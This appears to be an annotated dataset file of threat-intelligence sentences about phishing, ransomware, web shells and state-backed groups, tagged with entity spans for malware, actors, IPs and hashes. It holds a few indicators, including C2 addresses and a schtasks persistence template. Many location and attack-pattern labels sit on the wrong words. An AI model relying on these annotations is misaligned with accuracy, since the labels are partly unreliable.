{"id":8042,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":24950,"label":"location","start_offset":71,"end_offset":78},{"id":24951,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
{"id":12016,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":37170,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":37171,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":2994,"text":"In some cases, the most serious risk isn\u2019t around the device but the data being stored in the cloud.","entities":[],"relations":[],"Comments":[]}
{"id":12371,"text":"While it\u2019s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we\u2019ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":38436,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":38437,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]}
{"id":2813,"text":"It immediately gained broad media attention, due to its destructive nature, how widespread it was, and multiple high profile victims.","entities":[],"relations":[],"Comments":[]}
{"id":2939,"text":"This operation affected countries around the globe, but it appears that southeast Asia, northern Africa, and countries in South America were hit the most as shown below.  Malicious downloads by country  The specific breakout of countries affected, and their download counts are as follows:  Taking all those points together, this is operation is very large and clearly very effective.","entities":[{"id":48103,"label":"attack-pattern","start_offset":171,"end_offset":190},{"id":48100,"label":"location","start_offset":72,"end_offset":86},{"id":48101,"label":"location","start_offset":88,"end_offset":103},{"id":48102,"label":"location","start_offset":122,"end_offset":135}],"relations":[],"Comments":[]}
{"id":12072,"text":"One of APT35\u2019s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
{"id":202,"text":"Additionally, the attacks targeted two banking institutions, PrivatBank and Oschadbank.","entities":[{"id":45896,"label":"identity","start_offset":61,"end_offset":71},{"id":45897,"label":"identity","start_offset":76,"end_offset":86}],"relations":[],"Comments":[]}
{"id":1552,"text":"While it makes the text in the spreadsheet visible and so seems to solve the problem, it\u2019s a trick: It\u2019s really running a program that silently installs a program on the system.","entities":[],"relations":[],"Comments":[]}
{"id":3914,"text":"However, the malicious actors behind this attack drop the Chopper web shell in the web directory folder to establish persistence.","entities":[{"id":49769,"label":"malware","start_offset":58,"end_offset":75}],"relations":[],"Comments":[]}
{"id":687,"text":"They can be used to compromise an endpoint in the following way:  This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office\/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.","entities":[{"id":2292,"label":"identity","start_offset":136,"end_offset":145},{"id":2293,"label":"tools","start_offset":146,"end_offset":152},{"id":2298,"label":"malware","start_offset":289,"end_offset":295},{"id":44828,"label":"vulnerability","start_offset":118,"end_offset":131},{"id":44830,"label":"campaign","start_offset":289,"end_offset":303},{"id":44829,"label":"TIME","start_offset":227,"end_offset":241},{"id":44831,"label":"tools","start_offset":136,"end_offset":152},{"id":44832,"label":"tools","start_offset":153,"end_offset":160}],"relations":[{"id":30,"from_id":44831,"to_id":44828,"type":"has"},{"id":31,"from_id":44832,"to_id":44828,"type":"has"},{"id":32,"from_id":44830,"to_id":44828,"type":"exploits"}],"Comments":[]}
{"id":390,"text":"Among the attempts, we found successful exploitation, which resulted in the Cerber Ransomware attack.","entities":[{"id":44734,"label":"campaign","start_offset":76,"end_offset":100}],"relations":[],"Comments":[]}
{"id":14250,"text":"The GitHub account used by Winnti shows 12 different IP addresses, with various port numbers used for them.","entities":[{"id":48445,"label":"threat-actor","start_offset":27,"end_offset":34},{"id":48444,"label":"SOFTWARE","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
{"id":5317,"text":"They consist of a 592-byte structure containing essential information sent to the modules via pipes.","entities":[],"relations":[],"Comments":[]}
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{"id":5506,"text":"Our research, Deciphering Confucius: A Look at the Group\u2019s Cyberespionage Operations, delves into the group\u2019s operations, the social engineering methods and gamut of malware it uses, and the countermeasures that organizations can adopt to mitigate them.","entities":[{"id":51519,"label":"threat-actor","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]}
{"id":5528,"text":"In short, it\u2019s the digital equivalent of those physical skimming devices that criminals insert into ATMs to steal card data as it\u2019s entered: it\u2019s highly effective and happens completely without the knowledge of the cardholder.","entities":[],"relations":[],"Comments":[]}
{"id":4093,"text":"If not, the hostname and IP address will be collected and appended to the existing compromised hosts\u2019 information.","entities":[],"relations":[],"Comments":[]}
{"id":8665,"text":"(NOTE: This exploit is not connected to the other three we\u2019ve discussed above.)","entities":[],"relations":[],"Comments":[]}
{"id":7086,"text":"Pandora backdoor samples with different tokens Based on our analysis, the Pandora backdoor contains more public code repositories compared with previous versions.","entities":[{"id":22195,"label":"malware","start_offset":0,"end_offset":7},{"id":22197,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
{"id":4355,"text":"Instead of exfiltrating the files through PHP scripts, they were done via FTP server.","entities":[],"relations":[],"Comments":[]}
{"id":13569,"text":"The script sends an HTTP GET request to a specified URL address and forwards the received response to Water Pamola\u2019s server.","entities":[{"id":51650,"label":"campaign","start_offset":102,"end_offset":116}],"relations":[],"Comments":[]}
{"id":11372,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":34705,"label":"IPV4","start_offset":4,"end_offset":18},{"id":34706,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
{"id":1072,"text":" Unlike other window types in Android, Toast doesn\u2019t require the same permissions, and so the mitigating factors that applied to previous overlay attacks don\u2019t apply here.","entities":[{"id":46556,"label":"SOFTWARE","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
{"id":5176,"text":"This blog lists 13 identified security gaps that were assigned new CVE IDs found in the six most common DDS implementations, mostly concerning deployment.","entities":[],"relations":[],"Comments":[]}
{"id":1228,"text":"AstepPay implements both sending and blocking in the \u201cassets\/astep.bin\u201d file.","entities":[{"id":46610,"label":"SOFTWARE","start_offset":0,"end_offset":8},{"id":46611,"label":"FILEPATH","start_offset":54,"end_offset":70}],"relations":[],"Comments":[]}
{"id":13491,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[],"relations":[],"Comments":[]}
{"id":9811,"text":"Figure 3. Language code pages","entities":[],"relations":[],"Comments":[]}
{"id":2054,"text":"On this graph, we found his infrastructure mapped out and malicious files that were also linked to the domains.","entities":[],"relations":[],"Comments":[]}
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{"id":2779,"text":"The attackers accomplish this through abuse of a legitimate tool by placing it on malicious or compromised websites and running it in the victim\u2019s browser without his or her consent or knowledge when they visit the site.","entities":[],"relations":[],"Comments":[]}
{"id":13952,"text":"The group is making quadruple extortion available to its affiliates and showing a clear sign of innovation.","entities":[],"relations":[],"Comments":[]}
{"id":6650,"text":"Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting.","entities":[{"id":20638,"label":"location","start_offset":32,"end_offset":35},{"id":20640,"label":"location","start_offset":102,"end_offset":105},{"id":20641,"label":"location","start_offset":162,"end_offset":165},{"id":20642,"label":"location","start_offset":228,"end_offset":233},{"id":20643,"label":"attack-pattern","start_offset":234,"end_offset":242},{"id":20644,"label":"location","start_offset":243,"end_offset":246}],"relations":[],"Comments":[]}
{"id":12780,"text":"This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.","entities":[{"id":39780,"label":"location","start_offset":20,"end_offset":24},{"id":39781,"label":"malware","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
{"id":13336,"text":"The ransomware attack chain is outlined in Figure 1; however, we currently do not know the initial arrival vector of this threat into a potential victim's network.","entities":[{"id":41510,"label":"tools","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
{"id":1286,"text":"In this campaign, Sysget samples were attached to e-mails and used various icons to trick users into infecting their systems.","entities":[{"id":46659,"label":"malware","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]}
{"id":8921,"text":"Infection vector MiMi (mimi = \u79d8\u5bc6  = secret in Chinese) is an instant messaging application designed especially for Chinese users, with implementations for major desktop and mobile operating systems: Windows, macOS, Android, and iOS.","entities":[{"id":27585,"label":"tools","start_offset":10,"end_offset":16},{"id":27588,"label":"location","start_offset":155,"end_offset":160},{"id":27589,"label":"location","start_offset":169,"end_offset":172},{"id":27590,"label":"location","start_offset":173,"end_offset":179},{"id":27591,"label":"location","start_offset":224,"end_offset":227}],"relations":[],"Comments":[]}
{"id":13545,"text":"The Water Pamola attack chain      After further searching, we noticed that an online store administrator asked about a strange online order that contains JavaScript code inserted into the field where the customer\u2019s address or company name would normally be located.","entities":[{"id":51617,"label":"campaign","start_offset":4,"end_offset":16},{"id":51618,"label":"identity","start_offset":79,"end_offset":105},{"id":51620,"label":"attack-pattern","start_offset":155,"end_offset":179}],"relations":[{"id":1114,"from_id":51617,"to_id":51620,"type":"uses"}],"Comments":[]}
{"id":3933,"text":"In this particular Chopper attack, the .dat files are used as executables.","entities":[{"id":49775,"label":"malware","start_offset":19,"end_offset":26}],"relations":[],"Comments":[]}
{"id":310,"text":"It would be inefficient for an administrator to travel to a physical office to make a change on a system, but its critical that organizations take control over these applications.","entities":[],"relations":[],"Comments":[]}
{"id":1042,"text":"Yet, we believe the residual risk and exposure call for further action.","entities":[],"relations":[],"Comments":[]}
{"id":12879,"text":"    Trend Micro Vision One is great for this step.","entities":[],"relations":[],"Comments":[]}
{"id":9967,"text":"It\u2019s possible that the certificate was stolen as early as April 2018, as we found a ShiftDoor malware (4ae4aed210f2b4f75bdb855f6a5c11e625d56de2) on April 8 that was signed with the stolen certificate.","entities":[{"id":30437,"label":"location","start_offset":49,"end_offset":54},{"id":30439,"label":"SHA1","start_offset":103,"end_offset":143}],"relations":[],"Comments":[]}
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{"id":8091,"text":"This is the first known active attack in the wild that uses the use-after-free vulnerability.","entities":[],"relations":[],"Comments":[]}
{"id":3937,"text":"It also scans for vulnerabilities across the network by using an installed tool, Hacktool.Win32.CATLIKE.A, and a legitimate cURL, C:\\temp\\curl.dat.","entities":[{"id":49780,"label":"malware","start_offset":81,"end_offset":105},{"id":49781,"label":"FILEPATH","start_offset":130,"end_offset":146}],"relations":[],"Comments":[]}
{"id":4953,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[],"relations":[],"Comments":[]}
{"id":10308,"text":" email.exe  IMAP RAT","entities":[],"relations":[],"Comments":[]}
{"id":3507,"text":"The tool can also control the communication between the backdoor and attacker in real time.","entities":[],"relations":[],"Comments":[]}
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{"id":8833,"text":"We noticed the execution of schtasks.exe with the command line parameter \u201cschtasks \/create \/tn <name> c:\\programdata\\<software name>\\<file name>.bat \/sc \/once \/st <time> \/ru <user account>\u201d.","entities":[{"id":27364,"label":"malware","start_offset":28,"end_offset":40},{"id":27365,"label":"malware","start_offset":74,"end_offset":82},{"id":27366,"label":"location","start_offset":164,"end_offset":168}],"relations":[],"Comments":[]}
{"id":8018,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":24865,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
{"id":2679,"text":"  LockBit 2.0 was developed using the Assembly and Origin C programming languages and leverages advanced encryption standard (AES) and elliptic-curve cryptography (ECC) algorithms to encrypt victim data.","entities":[{"id":47881,"label":"threat-actor","start_offset":2,"end_offset":13}],"relations":[],"Comments":[]}
{"id":332,"text":" If your system has already been infected with CryptoWall 2.0, you\u2019ll see a pop-up just like this one shortly after the malware has encrypted your documents.","entities":[{"id":46024,"label":"malware","start_offset":47,"end_offset":61}],"relations":[],"Comments":[]}
{"id":2295,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.","entities":[{"id":45448,"label":"TIME","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
{"id":6104,"text":" The encoded commands decode to the below IP addresses.","entities":[],"relations":[],"Comments":[]}
{"id":3533,"text":"For instance, Blackgear employs two stages of infection for each of its attacks.","entities":[{"id":49315,"label":"threat-actor","start_offset":14,"end_offset":23}],"relations":[],"Comments":[]}
{"id":14035,"text":"In some instances, malware projects require external libraries, and some libraries used the \u201cassert()\u201d mechanism to help the developers debug unexpected conditions.","entities":[],"relations":[],"Comments":[]}
{"id":6845,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":21333,"label":"location","start_offset":13,"end_offset":16},{"id":21334,"label":"location","start_offset":47,"end_offset":55},{"id":21336,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":21337,"label":"location","start_offset":106,"end_offset":109},{"id":21338,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":21339,"label":"location","start_offset":203,"end_offset":206},{"id":21340,"label":"location","start_offset":242,"end_offset":245},{"id":21341,"label":"location","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
{"id":11089,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":12308,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":2576,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]}
{"id":9703,"text":" Figure 20. Function for scrambling AES256 key in the outgoing packet","entities":[],"relations":[],"Comments":[]}
{"id":7157,"text":"Fast Reverse Proxy (FRP) Linux tool found  Conclusion","entities":[{"id":22384,"label":"malware","start_offset":20,"end_offset":23},{"id":22385,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]}
{"id":4184,"text":"For a list of the Indicators of Compromise, please see this document.","entities":[],"relations":[],"Comments":[]}
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{"id":5025,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":51091,"label":"threat-actor","start_offset":33,"end_offset":42},{"id":51092,"label":"threat-actor","start_offset":98,"end_offset":106},{"id":51093,"label":"SOFTWARE","start_offset":125,"end_offset":130},{"id":51094,"label":"identity","start_offset":191,"end_offset":197},{"id":51090,"label":"threat-actor","start_offset":18,"end_offset":23}],"relations":[{"id":1040,"from_id":51092,"to_id":51091,"type":"duplicate-of"},{"id":1041,"from_id":51091,"to_id":51093,"type":"uses"},{"id":1042,"from_id":51091,"to_id":51094,"type":"targets"}],"Comments":[]}
{"id":859,"text":" If you want a more detailed understanding of kernel APC attacks as they occurred in WanaCrypt0r\/WannaCry, two good resources are Microsoft\u2019s MMPC blog \u201cWannaCrypt ransomware worm targets out-of-date systems\u201d and Countercept\u2019s \u201cDOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader\u201d.","entities":[{"id":2796,"label":"identity","start_offset":130,"end_offset":139},{"id":2800,"label":"malware","start_offset":228,"end_offset":240},{"id":2791,"label":"malware","start_offset":85,"end_offset":96},{"id":2792,"label":"malware","start_offset":97,"end_offset":105},{"id":46397,"label":"malware","start_offset":153,"end_offset":163}],"relations":[],"Comments":[]}
{"id":4936,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[],"relations":[],"Comments":[]}
{"id":7734,"text":"The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies.","entities":[],"relations":[],"Comments":[]}
{"id":4923,"text":"Google\u2019s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":50937,"label":"identity","start_offset":0,"end_offset":30}],"relations":[],"Comments":[]}
{"id":5220,"text":"In the case of this middleware technology, DDS is just one of the many critical libraries used in embedded applications that\u2019s easy to lose track of.","entities":[],"relations":[],"Comments":[]}
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{"id":1082,"text":"Mutex analysis is an often overlooked and useful tool for malware author fingerprinting, family classification, and even discovery.","entities":[],"relations":[],"Comments":[]}
{"id":5745,"text":"Cambridge Analytica Scandal: Facebook Hit with $1.6 Million Fine","entities":[{"id":17780,"label":"identity","start_offset":38,"end_offset":41},{"id":17782,"label":"location","start_offset":60,"end_offset":64}],"relations":[],"Comments":[]}
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{"id":7172,"text":"But more recently on June 21, we noticed that Andariel injected their script into four other compromised South Korean websites for reconnaissance purposes.","entities":[],"relations":[],"Comments":[]}
{"id":89,"text":"Gaming PCs with high-end GPUs and servers with large numbers of processing cores will be prime targets.","entities":[],"relations":[],"Comments":[]}
{"id":7055,"text":"Analysis of the Payload","entities":[],"relations":[],"Comments":[]}
{"id":1796,"text":"      Figure 3. Remotely executing an HTA file from the C&C server.","entities":[],"relations":[],"Comments":[]}
{"id":10145,"text":"In an earlier attack, we were able to warn the organization 24 hours before the actual phishing emails were sent.","entities":[{"id":30939,"label":"TIME","start_offset":60,"end_offset":68},{"id":30940,"label":"attack-pattern","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
{"id":11804,"text":"One of APT35\u2019s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
{"id":4288,"text":"To help combat these kinds of threats organizations will need to take a more proactive and focused security posture that can cover the most ground in terms of security.","entities":[],"relations":[],"Comments":[]}
{"id":1533,"text":"As always, we recommend our customers patch their systems as soon as possible.","entities":[],"relations":[],"Comments":[]}
{"id":785,"text":" With the introduction of the deferred free patch the object is no longer truly freed, so the page still exists.","entities":[],"relations":[],"Comments":[]}
{"id":1287,"text":"The majority of these samples are self-extracting executables that contain both a malicious downloader, along with a legitimate file.","entities":[{"id":44967,"label":"attack-pattern","start_offset":82,"end_offset":102}],"relations":[],"Comments":[]}
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{"id":6640,"text":"Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018.","entities":[],"relations":[],"Comments":[]}
{"id":499,"text":"Additionally, avoid downloading malicious applications by only downloading from the Google Play store is another best practice you should always follow.","entities":[{"id":46134,"label":"SOFTWARE","start_offset":84,"end_offset":101}],"relations":[],"Comments":[]}
{"id":13049,"text":"With 85% of businesses worldwide using the cloud, it has proven its imperative value, especially during the onslaught of the COVID-19 pandemic when remote work and reliance on the cloud for automation and scalability is the norm.","entities":[],"relations":[],"Comments":[]}
{"id":11673,"text":"The decrypted configuration     The main functions of the backdoor + stealer are:  1) Downloading the .NET executable and running it 2) Collecting system information and uploading it to the command-and-control (C&C) server 3) Uploading selected files to the C&C server","entities":[{"id":35803,"label":"malware","start_offset":69,"end_offset":76},{"id":35804,"label":"location","start_offset":77,"end_offset":80},{"id":35805,"label":"location","start_offset":118,"end_offset":121},{"id":35806,"label":"location","start_offset":166,"end_offset":169},{"id":35807,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
{"id":8708,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
{"id":14401,"text":"Whether that is the data center, an OT network, or finding critical business systems to support their criminal or destructive intent.","entities":[],"relations":[],"Comments":[]}
{"id":14018,"text":"For this, we are assuming this binary was compiled with a Visual Studio toolchain, which is indicated for various compiler identification tools.","entities":[{"id":47187,"label":"SOFTWARE","start_offset":58,"end_offset":71}],"relations":[],"Comments":[]}
{"id":10576,"text":"In 2019, one in five accounts that received a warning was targeted multiple times by attackers.","entities":[],"relations":[],"Comments":[]}
{"id":3201,"text":"These files are also hosted on Alibaba Cloud OSS on an attacker-controlled account.","entities":[{"id":48328,"label":"Infrastucture","start_offset":31,"end_offset":48}],"relations":[],"Comments":[]}
{"id":2452,"text":"We have seen the unique commands listed below submitted to webshells.","entities":[{"id":47520,"label":"attack-pattern","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
{"id":3218,"text":"The second scheduled task is called \u201cc1222.txt,\u201d which is a Python code run by a previously downloaded Python runtime.","entities":[{"id":48343,"label":"SOFTWARE","start_offset":60,"end_offset":66},{"id":48344,"label":"SOFTWARE","start_offset":103,"end_offset":109},{"id":48342,"label":"FILEPATH","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
{"id":2914,"text":" Palo Alto Networks customers with a Threat Prevention subscription were automatically protected from exploitation of these vulnerabilities:  We suggest customers ensure they are running the latest content version on their devices and apply the patches Microsoft released on May 1, 2014.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":48086,"label":"identity","start_offset":1,"end_offset":19},{"id":48087,"label":"identity","start_offset":253,"end_offset":262},{"id":48088,"label":"TIME","start_offset":275,"end_offset":286}],"relations":[],"Comments":[]}
{"id":4268,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
{"id":1553,"text":"This program gives the attackers complete control over the computer and can enable them to copy documents, usernames, passwords, account information and even take screenshots.","entities":[],"relations":[],"Comments":[]}
{"id":14134,"text":"     Figure 14.","entities":[],"relations":[],"Comments":[]}
{"id":6570,"text":"After further research, we were able to link Hack520 to different network administration activities, notably with a Virtual Private Server (VPS) hosting service.","entities":[],"relations":[],"Comments":[]}
{"id":1641,"text":"Each of these files also has the same internal class structure, which is represented by the tree structure below.","entities":[],"relations":[],"Comments":[]}
{"id":1660,"text":"The tool generates two encryption keys using a static password that the attacker chooses when creating the NetWire binary.","entities":[{"id":46871,"label":"malware","start_offset":107,"end_offset":114}],"relations":[],"Comments":[]}
{"id":14001,"text":"However, we were able to match some code reuse in one of the espionage backdoor\u2019s functionalities.","entities":[],"relations":[],"Comments":[]}
{"id":2790,"text":"Where drive-by download attacks usually exploit unpatched vulnerabilities, the root of these attacks is that they abuse otherwise legitimate functionality: you can\u2019t prevent them by being fully patched.","entities":[],"relations":[],"Comments":[]}
{"id":9511,"text":"We dubbed these downloaders PuppetDownloaders since they are connected to the PuppetLoader malware family, as evidenced by our observations:  This malware and PuppetLoader both use the same string decryption routine that uses the same key.","entities":[{"id":29179,"label":"location","start_offset":57,"end_offset":60},{"id":29180,"label":"malware","start_offset":78,"end_offset":90},{"id":29181,"label":"location","start_offset":155,"end_offset":158},{"id":29183,"label":"location","start_offset":185,"end_offset":189},{"id":29184,"label":"location","start_offset":230,"end_offset":234}],"relations":[],"Comments":[]}
{"id":131,"text":"Additionally, the site will still provide users with its normal, intended functionality.","entities":[],"relations":[],"Comments":[]}
{"id":2918,"text":"In that research, we also showed how these attacks were very broad and grew very quickly.","entities":[],"relations":[],"Comments":[]}
{"id":1603,"text":" After the user installs the remote application and opens it, they are presented with a terms of service screen.","entities":[],"relations":[],"Comments":[]}
{"id":2603,"text":"In the case of Nvidia, it was observed as a non-financial extortion attempt.","entities":[{"id":47791,"label":"identity","start_offset":15,"end_offset":21}],"relations":[],"Comments":[]}
{"id":3469,"text":"If the affected system can connect online and doesn\u2019t have AV software, Marade will connect to a Blackgear-controlled public blog or social media post to retrieve an encrypted C&C configuration.","entities":[{"id":49269,"label":"Infrastucture","start_offset":118,"end_offset":193},{"id":49267,"label":"malware","start_offset":72,"end_offset":78},{"id":49268,"label":"threat-actor","start_offset":97,"end_offset":106}],"relations":[{"id":775,"from_id":49268,"to_id":49269,"type":"controls"},{"id":776,"from_id":49267,"to_id":49269,"type":"beacons-to"}],"Comments":[]}
{"id":7152,"text":"The countries that Iron Tiger has targeted in the past 18 months     Timeline","entities":[],"relations":[],"Comments":[]}
{"id":9878,"text":"Updated on November 27, 2019 at 11:00 PM PST to add new information about a C&C domain.","entities":[{"id":30109,"label":"TIME","start_offset":32,"end_offset":44}],"relations":[],"Comments":[]}
{"id":2145,"text":"Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.","entities":[{"id":45400,"label":"vulnerability","start_offset":62,"end_offset":76},{"id":45401,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":2676,"text":"FY 2022 Q2 is not included due to lack of sufficient information.","entities":[{"id":47878,"label":"TIME","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":4278,"text":"Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":4774,"text":"Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.","entities":[],"relations":[],"Comments":[]}
{"id":12340,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":38318,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":38320,"label":"location","start_offset":113,"end_offset":116},{"id":38323,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":3574,"text":"Code taken from a ConfuserEx version created outside GIT","entities":[{"id":49358,"label":"tools","start_offset":53,"end_offset":56},{"id":49357,"label":"tools","start_offset":18,"end_offset":28}],"relations":[],"Comments":[]}
{"id":12905,"text":"Telemetry:","entities":[],"relations":[],"Comments":[]}
{"id":4315,"text":"Two days later, a second email \u2014 purportedly a warning from a Pakistani military about the Pegasus spyware \u2014 containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target.","entities":[{"id":50115,"label":"malware","start_offset":91,"end_offset":98},{"id":50116,"label":"DOMAIN","start_offset":122,"end_offset":129},{"id":50114,"label":"identity","start_offset":62,"end_offset":80}],"relations":[],"Comments":[]}
{"id":3681,"text":"Once the malicious behavior is executed, the attackers will attempt to keep their presence in a system.","entities":[],"relations":[],"Comments":[]}
{"id":1350,"text":" As a result of these events, Palo Alto Networks researchers took immediate action to ensure that customers anywhere in the world can be appropriately protected against these reported threats, however they may be exploited.","entities":[{"id":44972,"label":"identity","start_offset":30,"end_offset":48}],"relations":[],"Comments":[]}
{"id":159,"text":"Microsoft made reasonable adjustments so that these alerts are now raised sparingly.","entities":[{"id":44609,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":3039,"text":"c. The apps and applications on the computer or device: Like we noted about home entertainment and gaming consoles, sometimes it\u2019s the apps rather than the device itself that is important.","entities":[],"relations":[],"Comments":[]}
{"id":4115,"text":"SmileSvr packet traffic format simulation     ","entities":[],"relations":[],"Comments":[]}
{"id":8516,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
{"id":3806,"text":" .csv   Microsoft Word's \"Frames\/Frameset\" A feature that allows HTML or Text pages to be loaded in a frame within Microsoft Word.","entities":[{"id":49679,"label":"SOFTWARE","start_offset":8,"end_offset":22},{"id":49680,"label":"SOFTWARE","start_offset":115,"end_offset":129}],"relations":[],"Comments":[]}
{"id":13456,"text":"Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.","entities":[{"id":41902,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":41903,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":41904,"label":"location","start_offset":58,"end_offset":61},{"id":41909,"label":"location","start_offset":188,"end_offset":191},{"id":41912,"label":"location","start_offset":239,"end_offset":242}],"relations":[],"Comments":[]}
{"id":2997,"text":"Across the board, though, making sure your home router and Wi-Fi have good security and that you\u2019re using good, strong unique passwords when paring devices with apps (where possible) are easy things you can do for all these devices.","entities":[],"relations":[],"Comments":[]}
{"id":14239,"text":"The repository for Winnti\u2019s C&C communications was created on August 2016.","entities":[{"id":48431,"label":"identity","start_offset":19,"end_offset":25},{"id":48432,"label":"TIME","start_offset":62,"end_offset":73}],"relations":[],"Comments":[]}
{"id":5125,"text":"Trend Micro had a great series and continues to have a great series on the Underground, the Digital Underground that shows just how deep these profit motivations go.","entities":[{"id":51212,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":7490,"text":"After enabling the macros and the payload executes, two files \u2013 an obfuscated  Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT), and an obfuscated PowerShell script (Detected by Trend Mico as TROJ_VALYRIA.PS) \u2014 are created in the ProgramData directory placed in randomly-named directories.","entities":[{"id":23313,"label":"location","start_offset":26,"end_offset":29},{"id":23315,"label":"location","start_offset":118,"end_offset":123},{"id":23316,"label":"location","start_offset":146,"end_offset":149},{"id":23317,"label":"attack-pattern","start_offset":164,"end_offset":174},{"id":23318,"label":"location","start_offset":201,"end_offset":205},{"id":23319,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
{"id":2288,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[],"relations":[],"Comments":[]}
{"id":4320,"text":"The emails are sent either from an ExpressVPN exit node in Pakistan, or from a mail server under the attacker\u2019s control.","entities":[{"id":50124,"label":"SOFTWARE","start_offset":35,"end_offset":45},{"id":50125,"label":"location","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
{"id":13024,"text":"While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.","entities":[{"id":48847,"label":"SOFTWARE","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]}
{"id":625,"text":"At least 50 organizations have reported impacts from the malware, including government and critical infrastructure operators.","entities":[],"relations":[],"Comments":[]}
{"id":7534,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":636,"text":" Posteo (a free e-mail provider) has already shut down this e-mail address, and as such victims should not even attempt to pay the ransom.","entities":[{"id":44816,"label":"SOFTWARE","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
{"id":13691,"text":"A sample fake PDF invoice in a BEC email","entities":[{"id":51754,"label":"attack-pattern","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
{"id":5296,"text":"  It then waits for 37 seconds before it sets up its hard-coded parameters.","entities":[],"relations":[],"Comments":[]}
